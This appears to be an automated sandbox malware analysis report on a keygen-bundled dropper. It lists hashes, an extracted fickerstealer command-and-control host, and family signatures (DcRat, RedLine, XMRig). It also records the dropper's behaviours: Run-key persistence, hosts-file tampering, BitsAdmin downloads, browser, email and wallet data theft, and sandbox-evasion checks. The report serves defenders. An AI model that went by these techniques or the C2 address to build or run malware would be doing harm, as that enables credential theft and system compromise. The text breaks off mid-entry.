Overview
overview
10Static
static
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10win102
windows10_x64
win102
windows10_x64
10win102
windows10_x64
10win102
windows10_x64
win104
windows10_x64
10win104
windows10_x64
win104
windows10_x64
10win104
windows10_x64
win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
win106
windows10_x64
10win106
windows10_x64
win106
windows10_x64
10win106
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
win101
windows10_x64
10win101
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10Resubmissions
12/11/2024, 01:29
241112-bwgrxs1gnf 1008/07/2021, 12:18
210708-8z6d5h8z2n 1006/07/2021, 17:53
210706-g6we6sa7sa 1019/06/2021, 18:17
210619-vr8bj2dzfn 1017/06/2021, 21:39
210617-a9cvlnmrbx 1011/06/2021, 17:26
210611-wvab1yw2tj 1008/06/2021, 06:47
210608-qrbpch3y46 1008/06/2021, 06:47
210608-64tndgm1ln 1005/06/2021, 18:40
210605-cd6qpr55sx 1004/06/2021, 11:56
210604-5c416rs3ns 10Analysis
-
max time kernel
1768s -
max time network
1803s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
26/04/2021, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
Install.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Install2.exe
Resource
win7v20210408
Behavioral task
behavioral3
Sample
keygen-step-4.exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
keygen-step-4d.exe
Resource
win7v20210410
Behavioral task
behavioral5
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral8
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral10
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral12
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral14
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral16
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral18
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral20
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral22
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral24
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral26
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral28
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral30
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral32
Sample
keygen-step-4d.exe
Resource
win10v20210410
General
-
Target
keygen-step-4d.exe
-
Size
4.6MB
-
MD5
563107b1df2a00f4ec868acd9e08a205
-
SHA1
9cb9c91d66292f5317aa50d92e38834861e9c9b7
-
SHA256
bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9
-
SHA512
99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1
Malware Config
Extracted
fickerstealer
sodaandcoke.top:80
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 5848 created 5972 5848 svchost.exe 141 -
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 1 IoCs
resource yara_rule behavioral24/memory/5528-342-0x00000001402CA898-mapping.dmp xmrig -
Blocklisted process makes network request 4 IoCs
flow pid Process 156 5528 msiexec.exe 187 5308 powershell.exe 156 5528 msiexec.exe 355 5528 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe -
Executes dropped EXE 55 IoCs
pid Process 2812 xiuhuali.exe 4060 JoSetp.exe 4356 Install.exe 4388 Install.tmp 4464 Ultra.exe 4748 ultramediaburner.exe 4780 ultramediaburner.tmp 4824 UltraMediaBurner.exe 4836 Tucuxaenaema.exe 4900 Qaehorushodae.exe 5004 filee.exe 4400 Conhost.exe 4152 google-game.exe 5744 md1_1eaf.exe 5932 askinstall39.exe 6036 y1.exe 2440 SunLabsPlayer.exe 5188 AB3A.tmp.exe 5828 AFA0.tmp.exe 4816 inst.exe 5516 toolspab1.exe 5972 app.exe 5560 AB3A.tmp.exe 5544 c7ae36fa.exe 5820 toolspab1.exe 5656 jg6_6asg.exe 4348 d0gZZZtK9O.exe 2356 1619442843072.exe 5308 powershell.exe 4896 gaoou.exe 1764 jfiag3g_gg.exe 5036 explorer.exe 6032 BF59.exe 2980 C805.exe 3768 RegWorkshop.exe 4084 CE30.exe 4944 D2E4.exe 5172 D834.exe 4796 E1DA.exe 5540 1171344888.exe 5184 397771211.exe 5628 data_load.exe 5016 data_load.exe 5764 lighteningplayer-cache-gen.exe 3128 ajuerud 6132 iuuerud 4484 ajuerud 4616 jfiag3g_gg.exe 5144 ajuerud 4400 iuuerud 5788 ajuerud 4436 jfiag3g_gg.exe 5476 ajuerud 5536 iuuerud 5212 ajuerud -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Tucuxaenaema.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation keygen-step-4d.exe -
Loads dropped DLL 64 IoCs
pid Process 2204 rundll32.exe 4388 Install.tmp 4140 Conhost.exe 2440 SunLabsPlayer.exe 6036 y1.exe 2440 SunLabsPlayer.exe 5820 toolspab1.exe 5544 c7ae36fa.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 3768 RegWorkshop.exe 4944 D2E4.exe 4944 D2E4.exe 4944 D2E4.exe 4944 D2E4.exe 4944 D2E4.exe 4944 D2E4.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 4364 rundll32.exe 5300 rundll32.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 2440 SunLabsPlayer.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe 5764 lighteningplayer-cache-gen.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe" AFA0.tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gaoou.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\Ryhigulytu.exe\"" Ultra.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AFA0.tmp.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab CE30.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg6_6asg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 173 api.myip.com 193 ip-api.com 29 ip-api.com 151 api.ipify.org 172 api.myip.com -
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\SBmmuMEA svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\8M5X6QMS.cookie svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\8M5X6QMS.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 1A0FE0F308CF5808 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent B3FD2D3A368BC064 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe -
Suspicious use of SetThreadContext 9 IoCs
description pid Process procid_target PID 420 set thread context of 1896 420 svchost.exe 80 PID 5828 set thread context of 3768 5828 AFA0.tmp.exe 185 PID 5828 set thread context of 5528 5828 AFA0.tmp.exe 142 PID 5188 set thread context of 5560 5188 AB3A.tmp.exe 144 PID 5516 set thread context of 5820 5516 toolspab1.exe 151 PID 4084 set thread context of 5760 4084 CE30.exe 195 PID 3128 set thread context of 4484 3128 ajuerud 237 PID 5144 set thread context of 5788 5144 ajuerud 248 PID 5476 set thread context of 5212 5476 ajuerud 252 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Windows Multimedia Platform\Ryhigulytu.exe Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.json SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\dkjson.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\newgrounds.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\luac.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\cache.dat data_load.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_wasapi_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\browse_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\README.txt SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.json SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtimecode_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_h264_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\temp_files SunLabsPlayer.exe File created C:\Program Files\libEGL.dll xiuhuali.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libvobsub_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_hevc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libpanoramix_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\mobile.css SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml SunLabsPlayer.exe File created C:\Program Files\temp_files\bckf.fon data_load.exe File opened for modification C:\Program Files (x86)\SBmmuMEA\cache.dat powershell.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\jquery.jstree.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwasapi_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_config_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\liblogger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libwall_plugin.dll SunLabsPlayer.exe File created C:\Program Files\Reference Assemblies\JOPSQUFZWQ\ultramediaburner.exe Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libattachment_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libidummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\logger\libfile_logger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_copy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\view.html SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libgme_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libsubtitle_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\2 SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libwin_hotkeys_plugin.dll SunLabsPlayer.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 2 IoCs
resource yara_rule behavioral24/files/0x000100000001ac4f-318.dat nsis_installer_2 behavioral24/files/0x000100000001ac4f-319.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iuuerud Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ajuerud Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AB3A.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AB3A.tmp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4100 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 5640 bitsadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 5504 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc filee.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 